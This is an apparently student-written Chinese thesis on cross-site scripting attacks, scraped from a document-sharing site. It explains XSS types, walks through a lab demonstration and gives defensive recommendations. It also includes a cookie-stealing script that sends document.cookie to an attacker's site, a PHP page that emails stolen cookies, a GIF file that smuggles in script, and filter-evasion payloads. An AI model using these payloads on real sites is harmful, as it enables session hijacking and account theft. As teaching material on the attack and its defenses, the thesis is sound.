版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)
文檔簡介
XSS攻擊第2頁共18頁論文題目XSS跨站腳本攻擊學(xué)院深圳技師學(xué)院專業(yè)網(wǎng)絡(luò)工程年級姓名指導(dǎo)教師(摘要XSS又叫CSS(CrossSiteScript),跨站腳本攻擊??缯灸_本攻擊以訪問服務(wù)器的客戶端為攻擊目標(biāo),通過惡意腳本向第三方站點(diǎn)發(fā)送用戶的信息??缯灸_本攻擊是繼SQL注入攻擊后最為常用的攻擊手段。XSS本質(zhì)上是Web應(yīng)用服務(wù)的漏洞,主要的攻擊方法分別是在Web應(yīng)用程序中偷cookie、利用iframe或frame存取管理頁面或后臺頁面、利用XMLHttpRequest存取管理頁面或后臺頁面。關(guān)鍵字:XSS攻擊網(wǎng)絡(luò)跨站腳本攻擊AbstractXSSalsocalledCSS(CrossSiteScript),CrossSitescriptingattack.Crosssitescriptingattacksinaccessserverclientfortheattacktarget,throughmaliciousscripttoathirdpartysitespassesuserinformation.CrosssitescriptingattackisthemostcommonlyusedSQLinjectionattackaftertheattackmeans.XSSisessentiallyaWebapplicationserviceloophole,mainmethodofassaultrespectivelyisinWebapplicationstostealcookie,usingiframeorframeaccessmanagementpageorbackgroundpage,utilizationXMLHttpRequestaccessmanagementpageorbackgroundpage.Keyword:XSSattacksnetworkCrossSiteScriptingXSS攻擊目錄TOC\h\z\t"2一級標(biāo)題,1,2二級標(biāo)題,2"摘要 2一、背景 41.什么是XSS攻擊 42.XSS攻擊的危害 43.XSS的攻擊方式 44.XSS漏洞的類型 45.XSS攻擊漏洞 5二、XSS攻擊實現(xiàn) 61.實施入侵 72.利用XSS盜取cookies 113.上傳文件進(jìn)行XSS攻擊 12三、XSS攻擊的防御 121.基于特征的防御 132.基于代碼修改的防御 143.web用戶 144.web應(yīng)用開發(fā)者 145.防御建議 15總結(jié) 16致謝 16參考文獻(xiàn) 16附錄 16一、背景XSS攻擊作為Web業(yè)務(wù)的最大威脅之一,不僅危害Web業(yè)務(wù)本身,對訪問Web業(yè)務(wù)的用戶也會帶來直接的影響,如何防范和阻止XSS攻擊,保障Web站點(diǎn)的業(yè)務(wù)安全呢?首先我們就要了解什么是XSS攻擊。1.什么是XSS攻擊
XSS又叫CSS(CrossSiteScript),跨站腳本攻擊,為不和層疊樣式表(CascadingStyleSheets,CSS)的縮寫混淆。故將跨站腳本攻擊縮寫為XSS。它是一種經(jīng)常出現(xiàn)在web應(yīng)用中的計算機(jī)安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。比如這些代碼包括HTML代碼和客戶端腳本。攻擊者利用XSS漏洞旁路掉訪問控制——例如同源策略(sameoriginpolicy)。XSS屬于被動式的攻擊,因為其被動且不好利用,所以許多人常呼略其危害性。而事實上很多黑客在入侵服務(wù)器時使用的正是跨站腳本攻擊。對于跨站腳本攻擊,黑客界共識是:跨站腳本攻擊是新型的“緩沖區(qū)溢出攻擊”,而JavaScript是新型的“ShellCode”。2.XSS攻擊的危害盜取各類用戶賬號,如機(jī)器登錄賬號、用戶網(wǎng)銀賬號、各類管理員賬號控制企業(yè)數(shù)據(jù),包括讀取、篡改、添加、刪除企業(yè)敏感數(shù)據(jù)的能力盜竊企業(yè)重要的具有商業(yè)價值的資料非法轉(zhuǎn)賬強(qiáng)制發(fā)送電子郵件網(wǎng)站掛馬控制受害者機(jī)器向其它網(wǎng)站發(fā)起攻擊3.XSS的攻擊方式跨站攻擊有多種方式,由HTML語言允許使用腳本進(jìn)行簡單交互,入侵者便通過技術(shù)手段在某個頁面里插入一個惡意HTML代碼——例如記錄論壇保存的用戶信息(Cookie),由于Cookie保存了完整的用戶名和密碼資料,用戶就會遭受安全損失。當(dāng)然,攻擊者有時也會在網(wǎng)頁中加入一些以.JS或.VBS為后尾名的代碼時,在我們?yōu)g覽時,同樣我們也會被攻擊到。4.XSS漏洞的類型XSS漏洞按照攻擊利用手法的不同,有以下三種類型:類型1,本地利用漏洞,這種漏洞存在于頁面中客戶端腳本自身。其攻擊過程如下所示:A給B發(fā)送一個惡意構(gòu)造了Web的URL。B點(diǎn)擊并查看了這個URL。惡意頁面中的JavaScript打開一個具有漏洞的HTML頁面并將其安裝在B電腦上。具有漏洞的HTML頁面包含了在B電腦本地域執(zhí)行的JavaScript。A的惡意腳本可以在B的電腦上執(zhí)行B所持有的權(quán)限下的命令。類型2,反射式漏洞,這種漏洞和類型1有些類似,不同的是Web客戶端使用Server端腳本生成頁面為用戶提供數(shù)據(jù)時,如果未經(jīng)驗證的用戶數(shù)據(jù)被包含在頁面中而未經(jīng)HTML實體編碼,客戶端代碼便能夠注入到動態(tài)頁面中。其攻擊過程如下:A經(jīng)常瀏覽某個網(wǎng)站,此網(wǎng)站為B所擁有。B的站點(diǎn)運(yùn)行A使用的用戶名/密碼進(jìn)行登錄,并存儲敏感信息(比如銀行賬戶信息)。C發(fā)現(xiàn)B的站點(diǎn)包含反射性的XSS漏洞。C編寫一個利用漏洞的URL,并將其冒充為來自B的郵件發(fā)送給A。A在登錄到B的站點(diǎn)后,瀏覽C提供的URL。嵌入到URL中的惡意腳本在A的瀏覽器中執(zhí)行,就像它直接來自B的服務(wù)器一樣。此腳本盜竊敏感信息(授權(quán)、信用卡、賬號信息等)然后在A完全不知情的情況下將這些信息發(fā)送到C的Web站點(diǎn)。類型3,存儲式漏洞,該類型是應(yīng)用最為廣泛而且有可能影響到Web服務(wù)器自身安全的漏洞,駭客將攻擊腳本上傳到Web服務(wù)器上,使得所有訪問該頁面的用戶都面臨信息泄漏的可能,其中也包括了Web服務(wù)器的管理員。其攻擊過程如下:B擁有一個Web站點(diǎn),該站點(diǎn)允許用戶發(fā)布信息/瀏覽已發(fā)布的信息。C注意到B的站點(diǎn)具有類型3的XXS漏洞。C發(fā)布一個熱點(diǎn)信息,吸引其它用戶紛紛閱讀。B或者是任何的其他人如A瀏覽該信息,其會話cookies或者其它信息將被C盜走。類型1直接威脅用戶個體,而類型2和類型3所威脅的對象都是企業(yè)級Web應(yīng)用,目前天清入侵防御產(chǎn)品所能防范的XSS攻擊包括類型2和類型3。5.XSS攻擊漏洞XSS攻擊分成兩類,一類是來自內(nèi)部的攻擊,主要指的是利用程序自身的漏洞,構(gòu)造跨站語句,如:dvbbs的showerror.asp存在的跨站漏洞。另一類則是來自外部的攻擊,主要指的自己構(gòu)造XSS跨站漏洞網(wǎng)頁或者尋找非目標(biāo)機(jī)以外的有跨站漏洞的網(wǎng)頁。如當(dāng)我們要滲透一個站點(diǎn),我們自己構(gòu)造一個有跨站漏洞的網(wǎng)頁,然后構(gòu)造跨站語句,通過結(jié)合其它技術(shù),如社會工程學(xué)等,欺騙目標(biāo)服務(wù)器的管理員打開??偨Y(jié)一下幾個可能會出現(xiàn)漏洞的地方:1、搜索引擎2、留言板3、錯誤頁面4、通過在上面那些類型的頁面輸入一些特殊的字符(包括<>/"),如:</?jjkk>,然后在結(jié)果頁中的源碼處搜索是否存在原樣的:</?jjkk>,如果存在,恭喜你,發(fā)現(xiàn)了一個XSS漏洞。二、XSS攻擊實現(xiàn)
XSS攻擊的過程涉及以下三方:攻擊者、受害者、存在漏洞的網(wǎng)站(攻擊者可以使用它對受害者采取行動).在這三方之中,只有受害者會實際運(yùn)行攻擊者的代碼。網(wǎng)站僅僅是發(fā)起攻擊的一個載體,一般不會受到影響??梢杂枚喾N方式發(fā)起XSS攻擊。XSS允許攻擊者通過利用因特網(wǎng)服務(wù)器的漏洞來發(fā)送惡意代碼到其他用戶。攻擊者利用XSS攻擊向那些看似可信任的鏈接中注入惡意代碼。當(dāng)用戶點(diǎn)擊了鏈接后,內(nèi)嵌的程序?qū)⒈惶峤徊⑶視谟脩舻碾娔X上執(zhí)行,這會使黑客獲取訪問權(quán)限并偷走敏感數(shù)據(jù)。攻擊者使用XSS來攻擊受害者機(jī)器上的漏洞并且傳輸惡意代碼而不是攻擊系統(tǒng)本身。通過用戶輸入的數(shù)據(jù)返回錯誤消息的Web表格,攻擊者可以修改控制Web頁面的HTML代碼。黑客能夠在垃圾信息中的鏈接里插入代碼或者使用欺詐郵件來誘使用戶對其身份產(chǎn)生信任。
例如攻擊者可以發(fā)送帶有URL的郵件給受害人,這個URL指向一個Web站點(diǎn)并且提供瀏覽器腳本作為輸入;或者在博客或諸如Facebook、Twitter這樣的社交網(wǎng)站上發(fā)布惡意URL鏈接。當(dāng)用戶點(diǎn)擊這個鏈接時,該惡意站點(diǎn)以及腳本將會在其瀏覽器上運(yùn)行。瀏覽器不知道腳本是惡意的并將盲目地運(yùn)行這個程序,這轉(zhuǎn)而允許攻擊者的瀏覽器腳本使用站點(diǎn)的功能來竊取cookie或者冒充合法的用戶來完成交易。XSS攻擊數(shù)據(jù)流程:前面我們已經(jīng)了解XSS的基本概念和類型,這里看看如何進(jìn)行攻擊。先總結(jié)一下常見的XSS攻擊手法:1依賴跨站漏洞,需要在被攻擊網(wǎng)站的頁面種入XSS腳本的手法Cookie盜取,通過JavaScript獲取被攻擊網(wǎng)站種下的cookie,并發(fā)送給攻擊者。1.1.1從cookie中提取密碼等隱私1.1.2.利用cookie偽造session,發(fā)起重放攻擊1.2Ajex信息盜取,通過JavaScript發(fā)起ajex請求。1.2.1從ajex結(jié)果中獲取隱私。1.2.2模擬用戶完成多頁表單。2不依賴跨站漏洞的XSS攻擊手法2.1單向HTTP動作,通過img.src等方法發(fā)起跨站訪問,冒充被攻擊者執(zhí)行特權(quán)操作。但是很難拿到服務(wù)器的返回值。2.2雙向HTTP動作,如果服務(wù)器產(chǎn)生一段動態(tài)的script,那么可以用script.src的方法發(fā)起跨站訪問并拿到服務(wù)器的返回值。數(shù)字?jǐn)?shù)字1.實施入侵跨站腳本攻擊最典型的形式就是在網(wǎng)站有發(fā)表帖子和評論等處使用精心構(gòu)造的HTML代碼提交數(shù)據(jù),從而達(dá)到惡意攻擊的目的。舉個例子如下實驗過程圖,在某網(wǎng)站發(fā)表評論,其中用戶名、標(biāo)題、內(nèi)容等可嘗試填寫代碼:<script>alert(‘XSS’)</script>
。增加“留言”后,當(dāng)管理員查看留言時,瀏覽器會自動彈出消息警告框“XSS”,這就表明留言主題處的程序代碼沒有對主題變量參數(shù)進(jìn)行任何安全處理,很可能存在跨站漏洞。這就是典型的跨站腳本攻擊示例。當(dāng)然跨站攻擊遠(yuǎn)不止彈出一個警告框這么簡單。黑客可以充分利用留言簿程序漏洞,提交經(jīng)過精心構(gòu)造的代碼,然后欺騙管理員訪問,從而達(dá)到盜取管理員Cookie、提升權(quán)限等各種惡意目的。首先在虛擬機(jī)設(shè)置相關(guān)服務(wù),網(wǎng)站名:/(1)DNS服務(wù)器創(chuàng)建””正向區(qū)域,創(chuàng)建主機(jī)(對應(yīng)本機(jī)IP地址53),并創(chuàng)建相關(guān)的反向區(qū)域及添加相應(yīng)的記錄。(2)創(chuàng)建WEB網(wǎng)站,站點(diǎn)的IP地址為53,端口號為80站點(diǎn)屬性如下:圖1通過NSLOOKUP命令可以正確的解析(包括正向和反向解析),命令執(zhí)行結(jié)果畫面如下:圖2在IE瀏覽器中,使用53訪問WEB站點(diǎn),結(jié)果如下:圖3在IE瀏覽器中,使用訪問WEB站點(diǎn),結(jié)果如下:
圖4在主機(jī)(IP地址為2)上Ping虛擬機(jī)(IP地址為53)測試連通性,結(jié)果如下:圖5在IE瀏覽器中,使用訪問WEB站點(diǎn),結(jié)果如下:圖6向網(wǎng)頁代碼中嵌入以下代碼,則彈出一對話框"></iframe><script>alert("miss")</script><iframe"圖7結(jié)論:以上實驗效果簡單,但跨站攻擊遠(yuǎn)不止實驗效果這么簡單。黑客可以充分利用留言簿程序漏洞,提交經(jīng)過精心構(gòu)造的代碼,然后欺騙管理員訪問,從而達(dá)到盜取管理員Cookie、提升權(quán)限等各種惡意目的。2.利用XSS盜取cookies在一個有漏洞的頁面插入下面的代碼,例如一個留言本里<script>window.open("http://www.H/cookie.php?cookies="+document.cookie);</script>(www.H=攻擊者的網(wǎng)站)用記事本新建文件:cookie.php,把下面的代碼拷貝到文件里來。<!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN""/TR/xhtml1/DTD/xhtml1-transitional.dtd"><htmlxmlns="/1999/xhtml"><head><metahttp-equiv="Content-Type"content="text/html;charset=iso-8859-1"/><title>Error</title><styletype="text/css"><!--body,td,th{color:#FFFFFF;}body{background-color:#000000;}--></style></head><?mail('email@','Cookiestealed!-thxxyli:)',$cookies);?><body><h2><strong>Error</strong>-<strong>Accessdenied</strong>for<?echo$_SERVER["REMOTE_ADDR"];?></h2></body></html><BR>這樣是僅僅不夠的,還要去等待收到電子郵件,閱讀讀盜取到的cookie。3.上傳文件進(jìn)行XSS攻擊在畫圖工具里創(chuàng)建一個Haxored.gif圖片,然后用記事本打開它,刪除所有行并插入下面的內(nèi)容:GIF89a<script>alert("XSS")</script>
保存并關(guān)閉它。
然后把Haxored.gif上傳到一個免費(fèi)的圖片網(wǎng)站上,再查看你的圖片,XSS就產(chǎn)生了……不要用MozilliaFirefox來瀏覽圖片,因為MozilliaFirefox不能運(yùn)行該腳本,該攻擊適用于Internetexplorer瀏覽器。
為什么在腳本前面添加GIF89a呢?一般上傳圖片會這樣的,在各個.gif文件中檢查是否包含'GIF89a'代碼。這個通過檢查文件GIF89a代碼對上傳結(jié)果進(jìn)行確認(rèn)的漏洞,并沒有檢查圖片里的惡意代碼。
GIF89a<scriptsrc="/cookiegrabber.php"></script>
要了解其他圖片格式的文件代碼,只需要使用文件編輯器打開.jpg及其它格式的圖片就可以知道了,例如一個png格式的文件:‰PNG
PNG=‰PNG
GIF=GIF89a
JPG=???àJFIF
BMP=BMF?
為了安全不能僅僅依靠getimagesize()函數(shù)來檢查圖片。三、XSS攻擊的防御
XSS攻擊防范主要是有程序漏洞造成的,要完全防止XSS安全漏洞主要依靠程序員較高的編程能力和安全意識,當(dāng)然一些編程安全原則可以幫助大大減少XSS安全漏洞。目前對XSS漏洞的防御一般有兩種方式。
第一種方式就是代碼修改,對用戶所有提交內(nèi)容進(jìn)行驗證,包括URL、查詢關(guān)鍵字、HTTP頭、POST數(shù)據(jù)等。而且僅接受指定長度范圍內(nèi)、采用適當(dāng)格式、采用所預(yù)期的字符的內(nèi)容提交,對其他的一律過濾。接下來就是實現(xiàn)Session標(biāo)記、CAPTCHA系統(tǒng)或者HTTP引用頭檢查,以防功能被第三方網(wǎng)站所執(zhí)行。最后一步就是確認(rèn)接收的內(nèi)容被妥善地規(guī)范化,僅包含最小的、安全的標(biāo)記,去掉任何對遠(yuǎn)程內(nèi)容的引用,使用HTTP的Cookie。不過,這種方法將降低Web業(yè)務(wù)的交互能力,用戶僅能提交少量指定的字符,不適應(yīng)那些交互性要求較高的業(yè)務(wù)系統(tǒng)。而且Web業(yè)務(wù)的編碼人員很少有受過正規(guī)的安全培訓(xùn),即便是專業(yè)的安全公司,由于側(cè)重點(diǎn)的不同,也很難完全避免XSS。2008年1月,的一份報告指出:McAfee、Symantec、VeriSign這三家安全公司的官方站點(diǎn)存在約30個XSS漏洞。
第二種方式就是部署專業(yè)的防御設(shè)備,目前較為流行的有入侵防御產(chǎn)品,利用的就是入侵防御產(chǎn)品對應(yīng)用層攻擊的檢測防御能力。用戶在選擇相應(yīng)的產(chǎn)品之前,最好先了解一下相關(guān)產(chǎn)品的XSS、SQL注入等Web威脅的檢測方式。有一些入侵防御產(chǎn)品采用的還是傳統(tǒng)的特征匹配方法,如對經(jīng)典的XSS攻擊——IMGSRC="JavaScript:alert('XSS');"——來說,就是定義“JavaScript”這個關(guān)鍵字進(jìn)行檢索,一旦發(fā)現(xiàn)提交信息中包含“JavaScript”,就認(rèn)定為XSS攻擊。
1.基于特征的防御XSS漏洞和著名的SQL注入漏洞一樣,都是利用了Web頁面的編寫不完善,所以每一個漏洞所利用和針對的弱點(diǎn)都不盡相同。這就給XSS漏洞防御帶來了困難:不可能以單一特征來概括所有XSS攻擊。傳統(tǒng)XSS防御多采用特征匹配方式,在所有提交的信息中都進(jìn)行匹配檢查。對于這種類型的XSS攻擊,采用的模式匹配方法一般會需要對“javascript”這個關(guān)鍵字進(jìn)行檢索,一旦發(fā)現(xiàn)提交信息中包含“javascript”,就認(rèn)定為XSS攻擊。這種檢測方法的缺陷顯而易見:駭客可以通過插入字符或完全編碼的方式躲避檢測:躲避方法1)在javascript中加入多個tab鍵,得到<IMGSRC="javascript:alert('XSS');">;躲避方法2)在javascript中加入 編碼字符,得到<IMGSRC="javascript:alert('XSS');">;躲避方法3)在javascript中加入字符,得到<IMGSRC="javascript:alert('XSS');">;躲避方法4)在javascript中的每個字符間加入回車換行符,得到<IMGSRC="j\r\na\r\nv\r\n\r\na\r\ns\r\nc\r\nr\r\ni\r\np\r\nt\r\n:alert('XSS');">躲避方法5)對"javascript:alert('XSS')"采用完全編碼,得到<IMGSRC=javascript:alert('XSS')>上述方法都可以很容易的躲避基于特征的檢測。而除了會有大量的漏報外,基于特征的還存在大量的誤報可能:在上面的例子中,對"/javascript/kkk.asp?id=2345"這樣一個URL,由于包含了關(guān)鍵字“javascript”,也將會觸發(fā)報警。2.基于代碼修改的防御和SQL注入防御一樣,XSS攻擊也是利用了Web頁面的編寫疏忽,所以還有一種方法就是從Web應(yīng)用開發(fā)的角度來避免:步驟1、對所有用戶提交內(nèi)容進(jìn)行可靠的輸入驗證,包括對URL、查詢關(guān)鍵字、HTTP頭、POST數(shù)據(jù)等,僅接受指定長度范圍內(nèi)、采用適當(dāng)格式、采用所預(yù)期的字符的內(nèi)容提交,對其他的一律過濾。步驟2、實現(xiàn)Session標(biāo)記(sessiontokens)、CAPTCHA系統(tǒng)或者HTTP引用頭檢查,以防功能被第三方網(wǎng)站所執(zhí)行。步驟3、確認(rèn)接收的的內(nèi)容被妥善的規(guī)范化,僅包含最小的、安全的Tag(沒有javascript),去掉任何對遠(yuǎn)程內(nèi)容的引用(尤其是樣式表和javascript),使用HTTPonly的cookie。當(dāng)然,如上操作將會降低Web業(yè)務(wù)系統(tǒng)的可用性,用戶僅能輸入少量的制定字符,人與系統(tǒng)間的交互被降到極致,僅適用于信息發(fā)布型站點(diǎn)。并且考慮到很少有Web編碼人員受過正規(guī)的安全培訓(xùn),很難做到完全避免頁面中的XSS漏洞3.web用戶
1.在電子郵件或者即時通訊軟件中點(diǎn)擊鏈接時需要格外小心:留心可疑的過長鏈接,尤其是它們看上去包含了HTML代碼。如果對其產(chǎn)生懷疑,可以在瀏覽器地址欄中手工輸入域名,而后通過該頁面中的鏈接瀏覽你所要的信息。
2.對于XSS漏洞,沒有哪種web瀏覽器具有明顯的安全優(yōu)勢。也就是Firefox也同樣不安全。為了獲得更多的安全性,可以安裝一些瀏覽器插件:比如Firefox的NoScript或者Netcraft工具條。
3.世界上沒有“100%的有效”。盡量避免訪問有問題的站點(diǎn):比如提供hack信息和工具、破解軟件、成人照片的網(wǎng)站。這些類型的網(wǎng)站會利用瀏覽器漏洞并危害操作系統(tǒng)。4.web應(yīng)用開發(fā)者
1.對于開發(fā)者,首先應(yīng)該把精力放到對所有用戶提交內(nèi)容進(jìn)行可靠的輸入驗證上。這些提交內(nèi)容包括URL、查詢關(guān)鍵字、http頭、post數(shù)據(jù)等。只接受在你所規(guī)定長度范圍內(nèi)、采用適當(dāng)格式、你所希望的字符。阻塞、過濾或者忽略其它的任何東西。
2.保護(hù)所有敏感的功能,以防被bots自動化或者被第三方網(wǎng)站所執(zhí)行。實現(xiàn)session標(biāo)記(sessiontokens)、CAPTCHA系統(tǒng)或者HTTP引用頭檢查。
3.如果你的web應(yīng)用必須支持用戶提供的HTML,那么應(yīng)用的安全性將受到災(zāi)難性的下滑。但是你還是可以做一些事來保護(hù)web站點(diǎn):確認(rèn)你接收的HTML內(nèi)容被妥善地格式化,僅包含最小化的、安全的tag(絕對沒有JavaScript),去掉任何對遠(yuǎn)程內(nèi)容的引用(尤其是樣式表和JavaScript)。為了更多的安全,請使用httpOnly的cookie。
5.防御建議
1.防堵跨站漏洞阻止攻擊者利用在被攻擊網(wǎng)站上發(fā)布跨站攻擊語句不可以信任用戶提交的任何內(nèi)容,首先代碼里對用戶輸入的地方和變量都需要仔細(xì)檢查長度和對”<”,”>”,”;”,”’”等字符做過濾;其次任何內(nèi)容寫到頁面之前都必須加以encode,避免不小心把htmltag弄出來。這一個層面做好,至少可以堵住超過一半的XSS攻擊。
2.Cookie防盜
首先避免直接在cookie中泄露用戶隱私,例如email、密碼等等。
其次通過使cookie和系統(tǒng)ip綁定來降低cookie泄露后的危險。這樣攻擊者得到的cookie沒有實際價值,不可能拿來重放。
3.盡量采用POST而非GET提交表單POST操作不可能繞開javascript的使用,這會給攻擊者增加難度,減少可利用的跨站漏洞。
4.嚴(yán)格檢查refer
檢查httprefer是否來自預(yù)料中的url。這可以阻止第2類攻擊手法發(fā)起的http請求,也能防止大部分第1類攻擊手法,除非正好在特權(quán)操作的引用頁上種了跨站訪問。
5.將單步流程改為多步,在多步流程中引入效驗碼。多步流程中每一步都產(chǎn)生一個驗證碼作為hidden表單元素嵌在中間頁面,下一步操作時這個驗證碼被提交到服務(wù)器,服務(wù)器檢查這個驗證碼是否匹配。首先這為第1類攻擊者大大增加了麻煩。其次攻擊者必須在多步流程中拿到上一步產(chǎn)生的效驗碼才有可能發(fā)起下一步請求,這在第2類攻擊中是幾乎無法做到的。
6.引入用戶交互
簡單的一個看圖識數(shù)可以堵住幾乎所有的非預(yù)期特權(quán)操作。
7.只在允許anonymous訪問的地方使用動態(tài)的JavaScript。
8.對于用戶提交信息的中的img等link,檢查是否有重定向回本站、不是真的圖片等可疑操作。
9.內(nèi)部管理網(wǎng)站的問題如:簡單的限制訪問來源,不及時打上補(bǔ)丁。
總結(jié)XSS(Cross-sitescripting)攻擊是最常見的Web攻擊之一,和其它Web攻擊類似的是,XSS也是利用Web頁面編碼的不嚴(yán)謹(jǐn),和SQL注入漏洞所不同的是,XSS漏洞更加難以發(fā)現(xiàn)避免。就連McAfee、Symantec、VeriSign這種專業(yè)安全公司,也在2008年1月的XEED.com報告中被爆出官網(wǎng)存在XSS漏洞。此外,XSS攻擊還有另外一個與眾不同的特性:雖然駭客利用的是Web業(yè)務(wù)系統(tǒng)存在的漏洞,但真正的受害者卻是隨后訪問這些Web系統(tǒng)的用戶。正是由于以上兩個特性——難以避免、難以察覺,所以想要防御XSS攻擊非常困難。很多時候,內(nèi)部管理網(wǎng)站往往疏于關(guān)注安全問題,只是簡單的限制訪問來源。這種網(wǎng)站往往對XSS攻擊毫無抵抗力,需要多加注意。安全問題需要長期的關(guān)注,從來不是一錘子買賣。XSS攻擊相對其他攻擊手段更加隱蔽和多變,和業(yè)務(wù)流程、代碼實現(xiàn)都有關(guān)系,不存在什么一勞永逸的解決方案。此外,面對XSS,往往要犧牲產(chǎn)品的便利性才能保證完全的安全,如何在安全和便利之間平衡也是一件需要考慮的事情。
啟明星辰推出的天清防御產(chǎn)品,采用基于攻擊手法分析的檢測方法,對Web威脅如SQL注入、XSS攻擊等進(jìn)行全面檢測和防御。與傳統(tǒng)的基于數(shù)據(jù)特征匹配和基于異常模型構(gòu)建的Web安全相比,有著更低的漏報率和誤報率。致謝特別感謝:周兵老師宮一凡老師參考文獻(xiàn)【1】《黑客攻防實戰(zhàn)秘技》出版社:人民郵電出版社 作者:傅奎 出版日期:2009年7月【2】跨站腳本攻擊XSS攻擊與防范指南【3】/art/200807/81551_3.htm XSS攻擊防御技術(shù)白皮書【4】/390/11492390.shtml面對跨站腳本攻擊XSS的安全防御建議【5】/art/201001/180204.htm使用工具和測試防范跨站點(diǎn)腳本攻擊【6】/tech/2009-05-18/52806.htmlXSS的攻擊與防范附錄SQL注入常識Web安全紛繁復(fù)雜,危害最嚴(yán)重的當(dāng)屬SQL注入。SQLInjection,中文名稱為“SQL注射”是一種數(shù)據(jù)庫攻擊手段,也是WEB應(yīng)用程序漏洞存在的一種表現(xiàn)形式,它的實際意義就是利用某些數(shù)據(jù)庫的外部接口把用戶數(shù)據(jù)插入到實際的
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 《肺特殊CT征象》課件
- 《電能計量技術(shù)》課件
- 《家具的加工工藝》課件
- 第19課 七七事變與全民族抗戰(zhàn)(解析版)
- 《衛(wèi)生經(jīng)濟(jì)管理系統(tǒng)》課件
- 寒假自習(xí)課 25春初中道德與法治八年級下冊教學(xué)課件 第一單元 大單元整體設(shè)計
- 銀行宣傳推廣總結(jié)
- 《皮膚生理學(xué)》課件
- 素描藝術(shù)探索
- 風(fēng)險監(jiān)測與追蹤培訓(xùn)
- DB63T 2376-2024 餐飲單位有害生物防治技術(shù)指南
- 中考語文名著《西游記》專項復(fù)習(xí):《三調(diào)芭蕉扇》
- 2025新年春節(jié)專用對聯(lián)蛇年春聯(lián)帶橫批
- 【MOOC】融合新聞:通往未來新聞之路-暨南大學(xué) 中國大學(xué)慕課MOOC答案
- 2024年世界職業(yè)院校技能大賽中職組“工程測量組”賽項考試題庫(含答案)
- JGJT46-2024《施工現(xiàn)場臨時用電安全技術(shù)標(biāo)準(zhǔn)》條文解讀
- 半結(jié)構(gòu)化面試題100題
- 靜脈治療小組管理
- 五星級大酒店會議團(tuán)隊接待方案
- 2024屆上海高考語文課內(nèi)古詩文背誦默寫篇目(精校版)
- MOOC 模擬電子技術(shù)基礎(chǔ)-華中科技大學(xué) 中國大學(xué)慕課答案
評論
0/150
提交評論